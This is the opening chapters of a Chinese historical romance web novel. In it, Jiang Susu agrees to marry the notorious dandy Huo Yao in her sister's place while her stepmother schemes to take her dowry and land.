《她的纨绔夫君》
1. 1
成景元年，阳光正好的午后突然下起了暴雨，风席卷京城。
姜家因过去祖父定的亲事整个正厅都弥漫着沉重的气氛，像是黑压压的乌云从窗外笼罩在了屋内。
姜云安手拿帕子擦着眼泪，“父亲，母亲，京城那个霍家独子是出了名的纨绔子弟，我性子向来温顺不愿与人争辩，怎么治得了那样的男子，我不嫁。”
姜父微垂着头也很是懊恼，姜母坐在一旁一边安慰姜云安一边手绞着帕子想法子。
可人订的就是姜家的嫡女，霍家在这京城也是有头有脸的人物，想当年也是皇上亲授过功勋的世家，他们姜家说到底只是一个京城小门小户的商人，有点小钱，要论地位那自然是比不上霍家的。
要外人看来论门第这就是一桩高嫁的婚事。可谁都知霍家那个儿子在京城游手好闲，不学无术，成日一身红衣摇着黑扇带着哥儿姐儿的闲逛在京城各个街角，招摇夸张地出入各种风流场所。
姜父爱女心切，看姜云安哭得撕心裂肺，也担心女儿嫁过去会过得不好，思索再三决定，“那就退婚，我亲自上门去道歉。”
姜母担心道，“万一别人说我们姜家不给霍家面子，怕得罪霍家日后不在咱家买绸缎了怎么办？”
姜母考虑地不无道理，京城要传流言一晚上就能变一个样，他们尽管礼数周到的登门道歉，也不乏有心眼坏的人曲解乱传。
到时再做考虑怕就是迟了。
姜母倒是想到了一个法子，“让苏苏替咱云安嫁过去不就好了，苏苏虽说不是我亲生，但她从庄子上来的这两月我早已把她看做是亲生的了，改日再办个酒说她当年被外祖母接到庄上养着，才接回来，这样顺理成章就是嫡亲的女儿了，反正那边也没说要长女啊。”
待姜母不疾不徐的说完，姜云安的泪止住了，可她也有担心，“万一妹妹被发现了怎么办？”
姜母：“如何发现？霍家也没见过你不是。”
姜父沉默了良久，抬头道，“问问苏苏愿不愿意吧，若是不愿意咱也不能强求，这些年也亏待她很多了。”
姜云安缓缓点头，起身，“女儿去和苏妹妹商量，若她愿意替我出嫁，我把这些年存的首饰都给她。”
姜母眼神睨了姜云安一眼，脚尖有意无意地踢了她。
“哪有那么麻烦，苏苏一直以来就听话，何况是父母之命。”
姜父：“那……还是得准备……”
“行——我去说，我准备嫁妆，你不就是这个意思吗？这么多年了我还不懂你。”姜母皱眉。
此时姜苏苏在屋子里编竹筐和竹玩，从庄子上来这两个月她每日去市场调查，发现京城的人特别稀罕手工编织的玩意儿。
在庄上无聊时，她就编簸箕，篮子拿去集市上去卖给祖母贴补家用。没想到这个手艺在京城来了也一样适用。
她想多赚银子，等赚够了就有钱打听程哥哥的下落了。
丫鬟云蝶端来水果看到她编好的一只小猪，眼睛发亮，“姑娘，这是你用竹子编的啊？好可爱。”
小猪的鼻子她还用染料染成了粉色，看上去粉粉的。
姜苏苏微笑拿起给她，“喜欢吗？送你。”
云蝶捧在手心中，“谢谢姑娘。”
她继续埋头编竹筐，姜母来了，“苏苏又在鼓捣小玩意儿呢？”
她放下手上的东西起身行礼，“大娘子。”
姜母赶紧走上来扶起她来，眼睛笑成一条缝，“苏苏啊，我来想同你商量一件事。”
“大娘子请讲。”她温和询问。
姜母牵着她的手打量了她的穿着打扮，一身紫藤花色的蝶纹长裙，身材纤细，亭亭玉立，眸子清亮如星光水月，鼻尖微翘，朱唇粉黛。
“苏苏是大姑娘了，我和你爹爹给你挑了个好人家，等挑个良辰吉日就该嫁人了。”姜母说得倒是随意。
姜苏苏一怔，“大娘子是说已经决定我的婚事了？”
姜母轻巧地点头，“是啊，是京城一户大户人家，你嫁过去不会受委屈的。”
“爹爹怎么说？”
“这高嫁的婚事，你爹爹自然是同意。”
姜苏苏眸子垂了下来，祖母去世后她来京城投靠爹爹不是想要爹爹替她找个好人家，而是想来找当年在庄上与她交好却莫名不告而别的玩伴。
姜母脸色渐渐落了光色，淡问道，“苏苏，你这是不愿意？”
看似在问她，可却不等她回答便道，“苏苏，你要知道你无依无靠找个夫家依仗是最好的选择，霍家在这京城是有地位的，你算是高嫁，别不知足了。”
话语中她也听出了什么意思。
不管她愿不愿意，这个亲是非要她去不可的了。
姜苏苏思忖后咬着唇问，“大娘子，这个婚事原是姐姐的，是姐姐不想去，所以才让我替姐姐嫁吗？”
姜母很惊讶居然被她给猜到了。
既然被猜到了，姜母也不掩饰了，“苏苏，霍家真的是好人家，只是你姐姐性子弱，霍家那个嫡子平时性子顽劣，你姐姐怕嫁过去受欺负，你长年在庄上性子强定能过好这个日子的。”
听姜母如实说了，姜苏苏认真想了，姜云安待她不错，她在庄子上的时候姜云安还托人送了不少衣物给她。
她穿的最好看的衣裳都是她送的。
姜苏苏：“可我和姐姐长的不相像，名字也不同，若是暴露了，霍家不会找我们麻烦吗？”
姜母见她松口了，赶紧接着说：“只要我们不说没人会知道的，改日我们办个宴席，把你介绍给街坊四邻认识就行。”
姜苏苏抿唇点了点头，“那我替姐姐嫁。”
“乖，你放心嫁妆这些，我和你爹都会给你准备好的。”姜母摸了摸她的头。
她行礼：“多谢大娘子。”
大娘子走后，姜苏苏坐下把玩着编好的兔子。
不知道嫁过去会过什么样的日子，但姐姐不愿意嫁只有她嫁，就像当年家里生意不好必须要送一个去庄子一样，被送走的人都是她。
第二天她和云蝶上街去卖小玩意儿，在路上遇到一个大爷背着一筐腌制好的萝卜干，闻着像庄上的味道，她想很久了。
大爷看上去腿脚十分不便，走过水坑时差点摔倒。
她看了下手里的银子叫住了大爷，“大爷，你这一筐腌萝卜要
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多少银子。”
大爷苍老的声音说：“十五文。”
她现在手里只有八文，便让大爷等一会儿，她去卖掉手里的小玩意儿就有钱过来买了。
她和云蝶卖力地去推销小玩意儿，一会儿就卖了两个竹筐一个生肖，赚够能买大爷腌萝卜的钱。
云碟在原地等她，她拿着银子回到方才的地方去找大爷不过没找到大爷，转眼一看瞧见方才大爷背的箩筐被一穿着红袍子摇着把黑扇的男子背着。
她跟上去，但集市人太多人跟丢了。
云蝶没等到她，怕她走丢前来找她，“姑娘，姑娘，您怎么跑这儿来了，没找到那个大爷吗？”
姜苏苏：“没看到大爷去哪儿了。”
“那姑娘，咱走吧，下次再买吧。”云蝶扶着她。
转过街角她就看见穿着红袍子的男子指尖洒脱随性地转动棋子，一只手腕搭在膝盖骨上，脚上祥云黑靴，头戴金色发冠，侧脸棱角分明，散漫地勾着个唇。旁边放着大爷的箩筐。
她走去想要，“这位公子，你的腌萝卜卖吗？”
男子正在思索该下哪一步没注意到她站在旁边。
等了快一盏茶的时间他还在思索，大伙儿都大眼瞪小眼地看着他的。
姜苏苏无奈地抱着竹篮，这是人挤人不知道谁撞了她一下，她一个踉跄朝男子扑了上去，打翻了棋盘，她的竹篮也被压扁了。
云蝶上来扶她，她撑着身子坐起身，手心擦伤了。下一秒看见竹篮里的竹玩都被压坏了，她管不了手了，心疼起竹篮来。
男子一下站起来看着她，“喂！敢偷袭小爷。”
姜苏苏抬头缓缓起身，云蝶给她拍了拍衣裙，她道，“抱歉公子，我不是故意的。”
她的声音小显得无辜听着有些像撒娇。
霍尧唰地一下展开扇子，摇着扇子打量她。身材纤细苗条，小脸大眼，鸦羽黑睫，一瞥一眨都很灵动，不过这种美人计对他可不管用。
“跟了我一条街了吧，想勾引我，故意引起我的注意？呵，小爷不吃这套。”霍尧收起扇子，在她额头上轻敲了几下，“小小年纪学什么勾引人。”
姜苏苏：“？？”
名声对女子很重要，现在这么多人围观，她若是说错一句就会落人口舌。
她向后退了一步道，“这位公子，我是来问您这箩筐里的腌萝卜卖不卖的，您多想了。”
看热闹的人一听，噗嗤一笑。
“哈哈哈，人是来买腌萝卜的，并非搭讪啊。”
“我说嘛，谁家女子如此大胆。”
霍尧眸子一闪，抿唇笑，“我可发现你在南街就跟着我了，小爷鹰眼，你若非要赖着我呢，哝，我这宝贝扇子送给你了，识趣点别跟着我了。”
他把扇子扔给她。
姜苏苏可不能接，她矫捷往旁边一站，扇子落地。
啪嗒。
她捡起地上的竹篮，“公子自恋是病，早治早好。”
来看热闹的越发多了，她赶紧带着云蝶离开。
霍尧浓眉淡蹙，歪头眯眸无语地扯了嘴角。
说他自恋？这女子好大的胆子。
2. 2
姜家上上下下的佣人都在忙活几日后的宴席，姜父姜母在写请柬准备大办特办要让街坊四邻和亲朋好友都认为姜苏苏是嫡女。
姜苏苏从外刚回家，姜云安带她到房里坐下。
“苏妹妹，这是姐姐这些年存的首饰送你做嫁妆。”
首饰盒里的金银首饰璀璨夺目，她从没见过这么多精致的首饰。
姜苏苏眸子温淡，摇了摇头道，“这些太过贵重，我不能收。”
姜云安觉得有些对不住她，她不收内心不安，从手上把成色极好的翡翠玉镯取下来戴到她手上。
“妹妹若是不收，姐姐晚上都难安，你替姐姐嫁了人，以后有什么事都可以告诉我，我定毫无保留的帮你。”
她抿唇垂了眸。
“姐姐，那我能拜托你一件事吗？”
“嗯，妹妹你说。”姜云安细眉淡蹙。
“姐姐，我想找一个男子，听说他来京城了，不知如今是死是活，姐姐能否帮我打听打听？”
“好，我帮你。”
姜云安沉思片刻又问，“妹妹是心系那个男子？”
看姜云安担心，姜苏苏没说实话，摇了头道，“只是曾经在庄子上的玩伴，并有过多的感情，只是想知晓他是否还活着，姐姐不必担心我替你嫁过去后过不好日子。”
话说的周全，姜云安听后放心不少当即点头替她找人。
“妹妹把名字和特征写在纸上，我派人去寻。”
姜苏苏赶紧行礼，“多谢姐姐帮妹妹这个忙。”
“是姐姐谢你才是。”姜云安扶起她。
正厅院里，姜家二老把写好的请柬派人送出去并叮嘱要大张旗鼓的送出去，越高调越好。
姜苏苏回屋时路过正厅，佣人拿着厚厚的请柬给她请安，“二小姐好。”
姜母瞧见她回来了，招手招呼她过去，“苏苏快来，来看看给你定好的嫁妆单。”
她走过去，姜母把嫁妆清单给她，“这些都是我和你爹商量后定下的。”
一亩地的田产，两个铺子，金银细软，被子……该给的一样都不少。她即便是不看也知道嫁妆会有这些的。
按大娘子所说的霍家是有头有脸的人物，即便家中再郎中羞涩也会给她准备较为丰厚的嫁妆不让人把姜家看扁了。
“多谢大娘子和爹爹准备嫁妆。”她温顺道。
“以后便叫母亲吧，别被人瞧出异样了。”姜母笑颜伸手扶起她，瞥见她手上戴着镯子嘴角僵了一下。
她看到忙解释道，“方才姐姐看我手上没带首饰就把自己的给我了。”
姜母笑得僵硬，对姜父道，“哦哦，你看咱安儿想得多周到，把祖传的镯子都送给苏苏，这下谁还分得清嫡庶。”
姜父笑着起身，轻拍了下苏苏，“苏苏，委屈你了，以后遇到什么难事就告诉爹爹，爹爹不管在哪儿都去给你撑腰。”
苏苏查看了姜母的脸色才轻点了下头。
当年把她送去庄上的时候也是这样说的，但没有一次去庄上看过她。
回了房中，苏苏看着破掉的竹篮无奈抿唇。
云蝶在一旁问，“小姐，还能修好吗？”
她左看右看觉得修好了也卖不出去了，摇了摇头，“我重新编新的吧。”
拿起竹条重新编时竹条戳到了手腕处的擦伤。
嘶——
云蝶这才发现她的手跌倒时破了，“小姐都伤成这样了，您怎么都不告诉奴婢。”
云蝶内疚地跑去拿药酒给她消毒。
“一点小伤不碍事。”她发着呆想到在街上发生的事莫名开始担心，“只是今日的事不要传开才好。”
女子名声最重要，那个男子却说她勾引他。虽然她当场解释了但也不知道会不会被人胡乱的传。
一百个人嘴里有一百个不一样的人，若把她传成不守闺阁规矩的女子不知道会不会影响到这次的婚事。
-
霍府。
霍尧挎着箩筐回府，小厮忙上前接走，焦急道，“少爷您又跑哪儿去了，夫人老爷派奴才找您一天了。”
霍尧豪迈坐下骨节修长的手指侧撑着头，“找我做什么？”
小厮南五让人把箩筐拿下去，上前道，“少爷，您忘了与姜家嫡女有婚约的事了吗，夫人和老爷要和您商议上门提亲的事啊。”
霍尧长眉微抬，“我不是说了不娶吗？”
让他娶一个未曾蒙面的陌生女人真是荒唐，他只想娶自己心悦的女子。
没有遇到之前，他是不会娶妻的。
南五：“少爷，这恐怕不行，老爷说婚约是您祖父定下的，您若是想娶自己喜欢的也得把姜家嫡女娶了再做打算。”
他突然抬眼觉得不可理喻，“让我喜欢的女人做妾？”
南五不知该如何回答，感觉不管如何搭都能精准地踩到雷点。还好这个时候老爷和夫人来了。
“老爷，夫人。”南五退到一旁让路。
霍老爷一进门威严气场就压迫起来，“逆子，你都要成亲的人了，还在到处游荡像什么样子。”
霍夫人劝道，“老爷，别气，尧儿这不是回来了吗？”
霍尧吊儿郎当摸了摸脖子，歪着头越发没个正行。
“我不会娶姜家那位的，谁爱娶谁娶。”
“你……”霍老爷气得语塞，片刻捂住胸口。
“尧儿，你少说两句。”霍夫人赶紧扶夫君坐下，吩咐下人道，“快去把老爷的药拿过来。”
“是。”
下人拿来要，霍老爷就着茶水吃了心口才缓缓平静下来。
霍尧拿起桌上扇子起身就走，霍老爷：“你给我站住。”
“由他去吧。”霍夫人忙安抚。“老爷你别急，尧儿现在还没见过姜家的姑娘，见过后说不定就愿意娶了。”
“怎么找机会，那逆子一听要让他去提亲就离家出走。”霍老爷长出一口气，“我怎么生出这样的不孝子，祖辈定的婚约都不放在眼里。”
这时下人来报，“老爷，夫人，姜家的佣人送来请柬，说是给嫡女办回京的宴席。”
霍夫人淡笑道，“你看，这机会不就来了。”
-
霍尧和两个兄弟在酒楼喝酒。<
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他的两个兄弟兴致颇高看着歌舞伎，唯独他心思忧虑地喝着闷酒。
魏宇桀举杯与霍尧勾肩搭背调侃起来，“今儿个霍少把我们叫出来，怎得没兴致了。一脸愁容啊。”
他碰了下杯，一口饮尽杯中的酒。
谢沉笑道，“估计是因为婚约的事吧，长辈定好的婚约怕是不好推脱哦。不过姜家小门小户的是怎么攀上霍府的啊。”
魏宇桀：“确实，门不当户不对的。”
他们三个家中关系很好，所以自小一同长大堪比穿连裆裤似得。他魏家世代从医但到他个这代就断了，谢家没有爵位，子孙靠读书考功名，但谢沉成日和霍尧鬼混到现在也只考了个秀才。
而霍府有功勋战绩，霍老爷又是世袭的爵位，霍尧虽说成日游手好闲但以后也能承袭爵位，而姜家有什么？就在京城那些丝绸铺子？
啧啧啧，也难怪阿尧瞧不上。
霍尧喝完放下杯盏，烦闷地又倒上一杯。
“喂，你们觉得我这人如何？”
没头没脑的突然问这一句，魏宇桀茫然道，“什么意思？指哪方面？若是说为人着不着调嘛……嗯，难评。”
“我说长相。”他抬眉扯了扯唇问。
谢沉眼珠子一转开始大肆调侃起来，“那当然是人见人爱，花见花开，车见车翻啊。”说完噗嗤一笑。
“去你的，我说正经的。”霍尧啧了声。
谢沉和魏宇桀对视一眼。
魏宇桀觉着莫名其妙地笑着问道，“阿尧不对劲啊，发生什么了。”
霍尧蹙眉：“今儿有个女子说小爷我自恋，我这长相用得着自恋吗？不是明摆着的事实吗。”
闻言，两人捧腹笑了起来，异口同声说：“这个评价妙啊！是挺贴切。”
“哈哈哈，那个女子是谁，竟敢这样大肆直白的说，我可得佩服一阵了。”
霍尧懒得搭理他们两个。
谢沉笑得差不多了，倒上酒与他碰了杯，“所以你不是因为婚事犯，而是因为说你自恋的那个女子烦？”
他顿了片刻，饮了酒，“都有。但婚事更烦，都不认识成什么亲。”
“那认识不就好了。”魏宇桀道，“我成亲的时候还不是如此，洞房才看到妻子长什么样。成亲不就是传宗接代嘛，阿尧你想得太复杂了，多累啊。”
霍尧手指擒着杯盏，靠在桌上手腕垂着，瞥了眼摇头淡道，“肤浅，看来你不懂情。”
谢沉低头笑了下抬头，“你若真不想娶姜家那姑娘，要不给我？先成家再立业也不错。”
魏宇桀笑道，“阿尧怕是也不愿意吧？”
“我求之不得。”他道，“这婚约谁要谁拿去。”
“那你倒是也帮我介绍见见面啊。”谢沉来了兴致，“万一人姑娘喜欢我，你可别后悔啊。”
霍尧侧靠着，没个正行样：“小爷从不打退堂鼓，你要是替我解除了婚约，我随大礼。”
魏宇桀挨个给酒杯倒满，举杯，“来来来，我做证人啊。”
霍尧接过酒与谢沉碰杯，随后仰头饮下含着酒把玩杯盏。
3. 3
姜母在祠堂祭拜祖先，磕完头，下人来通报，“夫人，二小姐来了。”
姜苏苏站在祠堂门口。
“进来吧。”谭柳慧转身对她招了招手。“苏苏，我这么晚了把你叫过来是想给你商量件事。”
她点头，“母亲有什么事？”
谭柳慧带着淡笑道，“苏苏，你叫我一声母亲，我也把你当做亲女儿所以才告诉你的。哎，我们家其实并没有那么富裕，给你的嫁妆也是我和你爹东平西凑才够的，过两日又要办宴席，母亲想和商量下等你嫁过去后能不能把嫁妆带回家来。”
姜苏苏一时失语。
瞧见她没说话，谭柳慧又忙补充道，“你放心，你在那边若有什么需要帮忙的，我和你爹都会尽力帮你的。”
谭柳慧眼睛直勾勾地看着她，等她的回答。
她把手从谭柳慧手中抽离，走去牌位前跪拜了后才起身。
“母亲，这事我听爹爹的。”言下之意她要让姜华临来通知她。
谭柳慧自然是听出来了，抿唇笑了起来，“你爹平日不当家不知柴米油盐贵，苏苏你听话，体谅体谅母亲和爹爹如何？”
她垂眸福了身，“母亲，时辰不早了我先下去休息了，母亲也请早些休息。”
谭柳慧也不好再多言，点头同意，“那苏苏你考虑一下，这事儿就没必要告诉你爹了。”
“母亲早些休息。”
她福了身子转身出了祠堂。
回屋躺下，云蝶吹了灯出去合上了门。
屋子陡然黑了下来，只剩窗外的丝丝月光从门缝中悄然透进来给了屋子仅有的光亮。
现在她彻底的明白能够依靠的人只有自己。
-
早上吃完早饭，她就和云蝶提着竹玩上街了。
集市热闹，她们找了个角落的地方铺垫子，这时有人过来蹲下拿起一只猴子竹玩。
“这个怎么卖？”
“十文钱。”
“好，包起来。”客人给了钱。
云蝶把银钱装进钱袋：“小姐没想到今天这么快就开张了。”
姜苏苏也没想到这么快就能开张，她蹲下摆放好竹玩，“看来今天运气好。”
余光中出现一双黑色云纹靴子，红袍角，她缓缓转头，昨天在西街那个男子摇着黑扇扯着嘴角笑，步伐张扬地往这边走来。
她赶紧收回视线回避。
心想着应该没注意到她的，静静等他走就好了。
云蝶热情招呼：“三位爷这都是我家姑娘亲手编制的，价格实惠，买去送人很不错哦。”
霍尧半蹲着拿了只兔子在手中细细观摩。
“多少钱？”
云蝶挠了挠头，“呃……呃。”
转头想问自家小姐，姜苏苏背对着捏着嗓子说：“十文。”
腔调怪里怪气，霍尧抬头看了眼，眉梢动了下，拿了一锭银子放在摊位上，“不用找了。”
他起身和谢沉、魏宇桀离开。
魏宇桀把文玩兔子从他手中拿过来看了又看，也没看出什么名堂出来。
“这值一锭银子？霍少这又一败家方式，恕我眼拙确实看不懂。”
谢沉好像能理解一点，“我看是阿尧觉着难得看见漂亮姑娘出来做生意才出手阔绰想引起人注意吧。”
霍尧看他们一副不懂的样子，扇子一收，正经八百地样子说道，“俗不可耐，没听方才那姑娘的嗓子有残疾？小爷最不缺的就是钱，多花点钱让她拿去治嗓子，这也算我积德了。”
“是不缺钱就是有点缺心眼。”魏宇桀和谢沉噗嗤一下笑起来。
霍尧一把从他手里夺过竹玩兔子，“去去去，你们懂什么，大师说了，行善积德能尽早找到世间求而不得的真爱。”
他一出口，魏宇桀和谢沉憋笑摇头。
“诶，你说阿尧的真爱不会是昨儿个说他自恋的那姑娘。”魏宇桀眼珠子转动着打趣，“毕竟孽缘向来顽固。”
谢沉抱着双臂憋笑。
“说什么呢你，少乌鸦嘴啊，我才不会喜欢那么伶牙俐齿的女子。”霍尧给了他一拳，“也是可怜她以后的夫君了。”
-
姜苏苏听见他们走后，回过头轻抚着心口。
心里庆幸：幸好没被认出来。
云蝶笑着拿起银子，“小姐，方才那个大爷出手阔绰给了一锭银子诶。”
她愣了一瞬，“是一身红袍那个？”
云蝶点头，“是啊，他说不用找，拿着兔子的竹玩就走了。”
姜苏苏戴上帷帽，“方才他朝哪个方向去了？”
云蝶向左指了指，她拿上银子道，“我去去就回。”
她朝云蝶指的方向走去，男子的身高和长袍都格外显眼，一眼在人群中找到了他的影子。
她小跑着过去把银子塞给了他，捏着嗓子，“不用这么多。”
姜苏苏头埋得很低，怕被认出来，送完就准备走，刚一转身拉住她的手腕。
她赶紧挣脱局促地立着。
霍尧散漫地把银子抛给她，“拿去把嗓子看好。”
她突然下意识接住，愣了下赶紧像烫手山芋一样递出去，“竹玩只要十文，就当我送给你了。”
霍尧听见她声音变正常了，甚至还有些熟悉，“小爷从不占女人的便宜，让你拿着就拿着，不过你这声音感觉在哪儿听过。”
姜苏苏这才反应过来他说拿去看嗓子什么意思。
此时风大吹掉了她的帷帽，她转头愣了下，眉心淡蹙，“我的帽子。”
准备去追，霍尧一步跨过来拦在了她面前，眉梢抬着扯唇，不着调地样子道，“又是你，昨天把我扑倒，今天拐着弯送我竹玩。还说我自恋？”
魏宇桀和谢沉一听，原来是这个姑娘啊。
谢沉去把帽子给她捡回来和魏宇桀站在一旁，他环抱着手臂，“诶，你说这个姑娘真是故意的？”
谢沉听见嗑瓜子的声音，转头见魏宇桀在嗑瓜子，惊异道，“哪来的瓜子？”
魏宇桀给了他一点，边嗑边说：“听这边有个大娘说，昨儿个就看见他们在打情骂俏了。”
“啊？”谢沉惊讶下巴快掉了。
魏宇桀嗑完瓜子了，肯定都扁着嘴，“看吧，我说过孽缘是很顽固的。”
姜苏苏站在霍尧面前，沉了沉道，“公子
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，昨天那真的是意外，至于今天的竹玩是你给的太多了，我才把钱拿来还给你的。”
霍尧勾着唇，抛着那锭银子，“就这么多意外？”
来逛集市的人把他们围城了一个圈。
她向后踟蹰了一步，“若不是意外，公子觉得是什么？”
银子落在霍尧手心，他抬眸扯着笑，“不管是什么，我都对你没兴趣，换个人说不定吃你这一套。”
姜苏苏秀眉淡蹙，看着围观的人多了起来，她要是不把和霍家婚约的事拿出来做挡箭牌，怕是要被人传出什么绯闻了。
“公子真的误会了，我已有未婚夫对你没有丝毫的想法。”
众人一听，皆哈声点头，“哈，人姑娘有未婚夫了。”
“我也觉得可能真误会了，这姑娘看上去温柔贤淑不像是红杏出墙的人。”
霍尧眉心皱了起来。
这时有人质疑，“有未婚夫的事不会是假的吧，也没听说是谁是啊。”
“小姐，小姐。”云蝶跑来，“老爷派人来让我们回去了。
谢沉过去把帷帽还给姜苏苏，“姑娘，你的帽子。”
她接过，颔首小声道谢，“多谢公子。”
她带上帷帽正要走，魏宇桀站在远处问道，“姑娘的未婚夫是何人啊？”
姜苏苏立在原地，她捏着手指思忖。
只有把霍家那个拉出来这件事才能彻底结束。
“霍尧。”
话音落下，姜苏苏离开，谢沉和魏宇桀看着霍尧大眼瞪小眼，彻底傻眼了。
霍尧从愣神中回过神来，“我方才没听错吧，她…她说谁？”
“霍尧。”谢沉答。
“没错，就是你。”魏宇桀抿唇忍住不笑，“全京城应该没有和你重名的。”
-
一回姜家，姜苏苏就看到从小教养她的嬷嬷来了。
“文妈妈——”她上去抱住文妈妈，眼泪花含在眼眶里。
姜华临笑声爽朗地放下茶盏道，“苏苏，爹爹把文妈妈给你接回来了，到时候文妈妈和云蝶都陪你嫁过去。”
她含着泪行礼，“谢谢爹爹。”
谭柳慧坐在一旁绞着帕子，不是很乐意。
姜苏苏回屋后，文妈妈看着她小脸都消瘦了，心疼问，“小姐最近可劳累了？”
她摇摇头，“没有，只是这么多年过去了，刚回京饮食还不太习惯，所以消瘦了些。文妈妈不必担心。”
文妈妈点头，从包袱里拿出十多张地契，“那就好。小姐，这是老夫人给你准备的嫁妆，老奴都按照老夫人说的处理到你名下了。”
她震惊地看着文妈妈手里的地契，“怎么会有这么多，祖母不是只有一个田地吗？”
文妈妈抿唇压着声告诉她，“老夫人怕有人惦记小姐的嫁妆，所以让老奴不要告诉任何人她买了田产。老奴听说小姐要成亲了，所以赶紧收拾好行李上京来了。”
姜苏苏拿着地契，声音哽咽了。
“祖母……”
文妈妈给她抹了眼泪道，“小姐别伤心，老夫人临终时说她走了没人做你的依靠，但希望这些地契能成为你的底气。”
4. 4
姜苏苏按文妈妈说的把地契收起来放到箱子底下藏好。
不过多时姜云安来寻她来了，她随着姜云安的贴身丫鬟到后院与她碰面。
见她来了，姜云安打发了身边的丫鬟，神情片刻不得松缓地样子带她到隐蔽处才说道，“妹妹，你托我打听的人有消息了，不过……”
从语气中她感到不好的预感，眉心担忧地皱了起来，“姐姐请讲。”
姜云安四下看了看压着声说：“石于程当年进京犯了死罪早已经被处死了。”
姜苏苏震惊不敢相信，焦急问，“姐姐可知道犯了什么罪？”
那年他突然离开庄子后，她听说庄上的人说是到京城投奔亲戚去了，但后来又听说在京城失踪了。
她五岁被送到庄上便认识程哥哥，他为人正直，品行善良，在庄上从没有过人说过他一句不好。在庄上她不管遇到什么困难他都会帮她解决。
怎会犯了死罪。
姜云安缓然摇头，也觉得可惜地说：“打听的人告诉我，此事不可再过多询问，会惹上是非。”
她茫然无措地摇头不想接受这个事实。
姜云安看她无措，忙拉着她的手安慰，“妹妹，人心隔肚皮，犯了死罪被处死就是他变坏的结果，以后你嫁到霍家去好好过日子，别再提他了，好吗，好妹妹。”
她含着泪光抬眼看向姜云安，又缓缓垂下眸。
姜云安轻拍了她的手，往外望了望道，“妹妹，姐姐先回屋了，这件事不要再给别人提起了哦，不然对姜家不好。”
她淡抿下唇行礼，“知晓了，姐姐。”
姜云安走后，她在后院的亭子里坐了好一刻，正要走谭柳慧从拱门带着丫鬟过来。
“苏苏原来你在这儿，母亲寻你好久了。”
“母亲。”她垂下眼眸屈膝行礼。
谭柳慧走来握着她的手温和关切地轻抚，笑颜，“文妈妈来了，你可高兴吧。”
她淡笑回应着点头。
谭柳慧吩咐丫鬟去端些糕点和甜茶，然后就牵着她到庭院里坐下。
丫鬟端来糕点，摆放好茶水，谭柳慧亲手拿起小茶壶边说边倒上茶，“你要嫁人了，你爹又不懂姑娘家的事所以事情全交给我来操心了，我怕你嫁过去没个心腹的嬷嬷所以就让你爹赶紧把文妈妈给接上来了。”
她接过谭柳慧递来的茶水，轻抿了一口，微笑着说：“还是母亲考虑的周到。”
谭柳慧眼神若有所思地半垂，放下茶盏抬眸，“诶，那文妈妈都把你外祖母那边的事宜处理好了？”
“嗯，都处理好了。”她礼貌回答。
“那…可又说遗产的事？”谭柳慧打探道。
姜苏苏顿了下笑着摇头，“外祖母一生清贫没有什么遗产，母亲有所不知，在庄上时我编竹篮去集市上贩卖贴补家用，我和外祖母两人也才刚好温饱。”
谭柳慧听她这么说，嘴角抽搐两下，笑道，“这样啊…那外祖母那块田地呢？她可有留给你？”
她垂眸抿了下唇，“母亲若不提我都快忘了，外祖母的确还有块地。”
谭柳慧转目笑眼弯着，“那现在可在你名下？”
“应该是在的。”姜苏苏淡笑，“母亲有何打算？”
谭柳慧淡道，“母亲是这样想的，你现在也还小，不如交给母亲来打理。”
姜苏苏沉默抿唇，抬眸轻语，“母亲这块地是外祖母留给我最后的念想，不过母亲想要的话我也可以交给母亲打理。不过我有个条件，还希望母亲答应。”
谭柳慧听得眼睛发光。
她捧着茶盏接着道，“不要卖掉那块地，每年的收成得的收益我和母亲二八分如何？”
谭柳慧笑容半落：“你八我二？”
她抬眸笑，“自然是母亲八，我二。”
这么一说谭柳慧顿时笑开了眼，“好孩子，那就这么决定了，母亲去帮你打理哈。”
“好，多谢母亲。”她点头。
谭柳慧看着她心想：还说她有多聪明呢，还不是随便说说就同意了，还主动提二八分果然耳根子软。
据她所知那块地收成可肥，一年也得有个三四锭银子，等她把那块地给盘熟了，再游说把田产地契拿到手。
下人前来拱手传道，“夫人，霍家夫人派人送来了庆礼并说小姐的回京宴定会带着霍少爷上门参加。”
“知道了，下去吧。”谭柳慧转头握着姜苏苏的手道，“苏苏，你可要记得别被人查出异样了啊。”
她微笑点了点头。
她看着很平静，但其实心里莫名担忧起来，乱成了一团。
不知道是不是与在街上遇到的那个男子有关，从他的穿着打扮来看是个富家公子哥有权有势。
若是找她麻烦她也完全没有招架之力，当时那个情况她也只有把霍尧是未婚夫拉出来做挡箭牌了。还希望霍尧是个温文尔雅的人，知道她拿他挡事后不会生气。
-
霍尧怎么都没想到说他自恋的女子会是和他有婚约的人。
他脚搭在另一条腿上侧靠在软榻上深蹙着眉，越想越想不明白，一下正坐起来，“你们说哪有这么巧的事，怎么哪儿都能遇到她。”
魏宇桀笑得脸都僵了，揉着脸说：“孽缘也是缘啊。”
霍尧抓起盘中苹果给他砸去，“我看就是你这乌鸦嘴。”
魏宇桀手快地接下苹果送到嘴中咬了一口，“嘿，这可怪不了我啊。”
谢沉倒上酒，“我倒是挺欣赏姜姑娘的，你若不娶我可真去追求了。”
霍尧深深凝了他一眼，拿起酒一口饮下。
“我是要找我喜欢的姑娘，我又不喜欢她娶她作甚？”
魏宇桀听着小曲，咬了口苹果道，“有一说一啊，我在京城没见过比她漂亮的。阿尧要不你就从了吧，我看那姑娘也挺主动的，还主动提你是她未婚夫了。”
最后一句刚落，魏宇桀又忍不住笑了，霍尧瞥了他一眼起身走了。
“去哪？”谢沉伸着脖子问。
“回府。”霍尧觉着这俩货只会说些废话。
刚回府，脚才踏进门槛，几个小厮一拥而上拿着绳子把霍尧给捆了起来。
“大胆，干什么你们，放开我。”
南五：“少爷对不住了，是老爷吩咐小的们做的。”
霍尧被五花大绑里三层外三层的捆成肉虫子似得在地上蛄蛹。
“南五，你现在不把小爷放了，等小爷松绑就是你的死期！”
南五挠头闭眼赶紧吩咐小的道，“快把少爷抬到正厅去见老爷。”
三五个小厮抬上他就去正厅，到正
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厅时霍老爷和霍夫人都在。
霍老爷放下手中的茶盏，茶具清脆落桌，“哼，又出去鬼混到现在，不把你捆起来是不行了。”
霍夫人看儿子被绑得像个五花肉似得，“老爷，要绑也没必要绑这么紧啊，松松吧。”
霍尧乘机嚎叫，“娘！娘！让爹快给我松绑，我快喘不过气了。”
霍君鹤拦住自家夫人，“你就是对他太心慈手软了，要是松了又跑了后天怎么去姜家参加回京宴。我看他嚎叫的这声音不就像喘不过气的。”
“这…”
“娘！你别听爹的。”
